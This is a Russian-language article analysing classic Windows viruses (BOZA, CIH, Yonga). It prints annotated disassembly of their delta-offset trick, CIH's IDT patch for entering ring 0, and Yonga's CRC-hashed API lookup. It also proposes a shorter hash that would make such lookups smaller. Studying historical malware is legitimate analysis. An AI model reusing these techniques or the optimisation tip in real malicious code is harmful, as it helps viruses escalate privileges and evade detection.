Наш вирусный музей - 2 by DrMAD Продолжаем анализировать старые классические вирусы, обнаруживая в них забавные ошибки, незамеченные в свое время тонкости, питательную среду для новых идей. 1. Очаровательно наивен - Win9X.BOZA/Bizatch BOZA (в виде бета-версии - Bizatch) - первый в истории вирус, заражавший программы PE-формата и родившийся в Австралии. По его мотивам были написаны многие вирусы, аккуратно повторявшие все его наивности, прежде чем появились и распространились простые и эффективные методы заражения. В частности, автор вируса определил адреса API-функций внутри KERNEL32.DLL, но не догадался, что можно обращаться по ним напрямую. Зато он воспользовался тем фактом, что в KERNEL32 для Win9X имеется общая точка входа для всех функций. В результате программа выглядит для современного глаза диковато и запутанно... но в этом-то ее очарование! Вот, смотрите сами. ; ; Обращение к системнм сервисам через общую точку входа в KERNEL32. ; Вирус Win95.BOZA ; start: ; ; Вначале выполняется классическое вычисление "дельта-смещения" ; при помощи пары команд CALL/POP Регистр ; .vlad:00407000 call $+5 .vlad:00407005 pop ebp .vlad:00407006 mov eax, ebp .vlad:00407008 sub eax, 5D3Fh ; Это - от начала кодового сегмента .vlad:0040700D push eax .vlad:0040700E sub ebp, 440005h ; Это - от начала образа программы ; ; Далее вирус ищет в KERNEL32.DLL по предопределенным адресам ; из разных версий Win95 ; уникальную сигнатуру 5350FC9Ch диспетчера функций ; .vlad:00407014 mov eax, [ebp+4403A1h] ; Первый адрес сигнатуры .vlad:0040701A cmp dword ptr [eax], 5350FC9Ch ; Совпало? .vlad:00407020 jnz short loc_407031 ; Если нет - на следующую попытку .vlad:00407022 nop ; Если да - .vlad:00407023 nop ; то в EAX загружается .vlad:00407024 nop ; адрес диспетчера .vlad:00407025 nop ; API32-сервисов для .vlad:00407026 mov eax, [ebp+4403A1h] ; конкретной версии W95. .vlad:0040702C jmp short loc_407049 ; И переход на использование .vlad:0040702E nop .vlad:0040702F nop .vlad:00407030 nop loc_407031: .vlad:00407031 mov eax, [ebp+44039Dh] ; Второй адрес сигнатуры .vlad:00407037 cmp dword ptr [eax], 5350FC9Ch ; Совпало? .vlad:0040703D jnz loc_407396 ; Если нет - отвалить совсем .vlad:00407043 mov eax, [ebp+44039Dh] ; Есди да - см. выше. ; ; А здесь уже начинается использование адресов, найденных на предыдущем этапе ; loc_407049: .vlad:00407049 mov [ebp+440399h], eax ; Сохранение адреса таблички .vlad:0040704F cld .vlad:00407050 lea eax, [ebp+4406CBh] ; Загрузка в стек .vlad:00407056 push eax ; параметров .vlad:00407057 push 0FFh ; API32-сервиса .vlad:0040705C call sub_4073A5 ; Вызов функции обращения к сервису ...................................................................................... ; ; Здесь располагается собственно вызов сервиса ; .vlad:004073A5 sub_4073A5: .vlad:004073A5 push 0BFF77744h ; Смещение функции в KERNEL32.DLL .vlad:004073AA jmp dword ptr [ebp+440399h] ; Вызов диспетчера Нынешние вирусы редко ориентируются на жесткие адреса, а предпочитают искать адреса API-функций, сканирую таблицу импорта KERNEL32.DLL. 2. Властелин колец - Win9X.CIH Великий и ужасный Вынь.ЧИХ. Про него так много написано (в том числе и мной), что сказать что-нибудь новенькое - трудно. А и не надо. Просто посмотрим на стартовый фрагмент, который: 1) устанавливает свой обработчик исключений; 2) прописывает для него в таблице дескрипторов параметры 0-го кольца; 3) вызывает исключение. В Win9X это исключение попадет в 0 кольцо, в Win NT/2K/XP исключение тихо произойдет в 3-м кольце и вернет управление программе-носителю - одним махом двух комаров убивахом! J Алгоритм настолько известен, что упоминается даже в книжках как стандартный способ перехода в 0 кольца из 3-го. Авторы других вирусов берут фрагмент из Win9X.CIH и использут без малейших модификаций, не обращая внимание на то, что при некоторых условиях (если вирус стартует не из заголовка программы) его можно упростить и оптимизировать. Короче, вот он: ; ; Стартовый фрагмент Win9X.CIH - переход в 0 кольцо ; ; Берется адрес IDT я- таблицы дескрипторов исключений 0335: 50 push eax 0336: 0F014C24FE sidt [esp-0002] ; 033B: 5B pop ebx ; EBP := адрес обработчика INT3 033C: 83C31C add ebx,01C 033F: FA cli ; 6-байтовый дескриптор модифицируется по частям 0340: 8B2B mov ebp,[ebx] 0342: 668B6BFC mov bp,[ebx-0004] ; Адресация на новый обработчикя 0346: 8D7112 lea esi,[ecx+00012] 0349: 56 push esi ; 1-я половина адреса 034A: 668973FC mov [ebx-0004],si 034E: C1EE10 shr esi,010 ; 2-я половина адреса 0351: 66897302 mov [ebx+00002],si 0355: 5E pop esi ; Вызывается INT3 0356: CC int 3 3. Миноискатель вместо лопаты - вирус Win32.Yonga Можно искать API-функции в KERNEL32.DLL, сравнивая побайтно имена, зашитые в вирусе, и имена, живущие в таблице имен экспорта билиотеки. В этом случае внутри зараженной программы на просвет видны строковые имена - LoadLibrary, CreateFile и т.п. Считается, что первым придумал, как этого избежать, GriYO/29A в своем вирусе Win32.Parvo. Надо сравнивать не имена, а контрольные коды от этих имен, например, CRC. Большой энтузиаст такого подхода Bumblebee/29A. Вот как этот алгоритм реализован в его вирусе Win32.Yonga. ; ; Поиск API в памяти KERNEL32.DLL при помощи сравнения ; контрольных кодов ; Вирус Win32.Yonga.4434 ; ; .... .41809E: xor edx,edx .4180A0: mov [ebp][422462],edx .4180A6: lea eax,[ebp][401F5D] ; Адрес таблицы значений CRC .4180AC: mov esi,[ebp][422456] ; Адрес таблицы имен экспорта .4180B2: add esi,edx .4180B4: mov esi,[esi] .4180B6: add esi,edi .4180B8: push eax .4180B9: push edx .4180BA: push edi .4180BB: xor edi,edi .4180BD: movzx di,b,[eax][04] .4180C2: call .41868A ; Расчет CRC .4180C7: xchg ebx,eax ; EBX := Результат расчета .4180C8: pop edi .4180C9: pop edx .4180CA: pop eax .4180CB: cmp ebx,[eax] ; CRC совпадает? .4180CD: je .4180EE ; Готово .4180CF: add edx,004 .4180D2: inc d,[ebp][422462] .4180D8: push edx .4180D9: mov edx,[ebp][422462] .4180DF: cmp [ebp][00042245E],edx ; Конец таблицы? .4180E5: pop edx .4180E6: je .4185EB ; Такого вообще нет .4180EC: jmps .4180AC ; Сравнение со следующим .4180EE: .... ; Процедура расчета CRC .41868A: cld .41868B: xor ecx,ecx .41868D: dec ecx .41868E: mov edx,ecx .418690: push ebx .418691: xor eax,eax .418693: xor ebx,ebx .418695: lodsb ; Очередные 8 бит .418696: xor al,cl .418698: mov cl,ch .41869A: mov ch,dl .41869C: mov dl,dh .41869E: mov dh,008 .4186A0: shr bx,1 .4186A3: rcr ax,1 .4186A6: jae .4186B1 .4186A8: xor ax,08320 ; Стандартный .4186AC: xor bx,0EDB8 ; порождающий полином CRC32 .4186B1: dec dh .4186B3: jne .4186A0 .4186B5: xor ecx,eax .4186B7: xor edx,ebx .4186B9: dec edi .4186BA: jne .418691 .4186BC: pop ebx ; .4186BD: not edx ; Кстати, это нужно только для .4186BF: not ecx ; совпадения со стандарттом на CRC-32, .4186C1: mov eax,edx ; а на обнаруживающую способность .4186C3: rol eax,010 ; результата (остатка) никак не влияет. .4186C6: mov ax,cx ; .4186C9: retn ... ; Таблица заранее рассчитанных CRC имен .418D50: 66 0E 69 .418D60: 03 12 47 63-F9 BF D5 BA-9B 0E 13 F5-4A F9 BF DF .418D70: 2D 89 8C 0C-DB 7A F7 BF-EC 49 7B 79-0E A9 20 F8 А можно ли реализовать это как-нибудь попроще, не используя достаточно длинные и сложные процедуры расчета CRC? В книжке Кернигана и Ричи "Язык программирования С++" упоминается простой метод расчета контрольных сумм: sum := A*sum + s[i]. При A=1 имеем простое суммирование байтов, и это - далеко не самый лучший вариант. На 700 с лишним именах из KERNEL32.DLL от Windows 98 он дает множество неприятных коллизий. Например, CreateFileA и MoveFileExA имеют общую контрольную сумму 1045. Зато, например, при A=5 (или 7, или 9, или 10, или...) коллизий нет вообще! Керниган и Ричи рекомендует A=31 и отмечают, что этот алгоритм неплох, но только для хеширования недлинных текстовых строк... а ведь у нас именно этот случай! Так что, если бы Bumblebee знал бы об этом, полсотни байтов он точно сэкономил бы. J |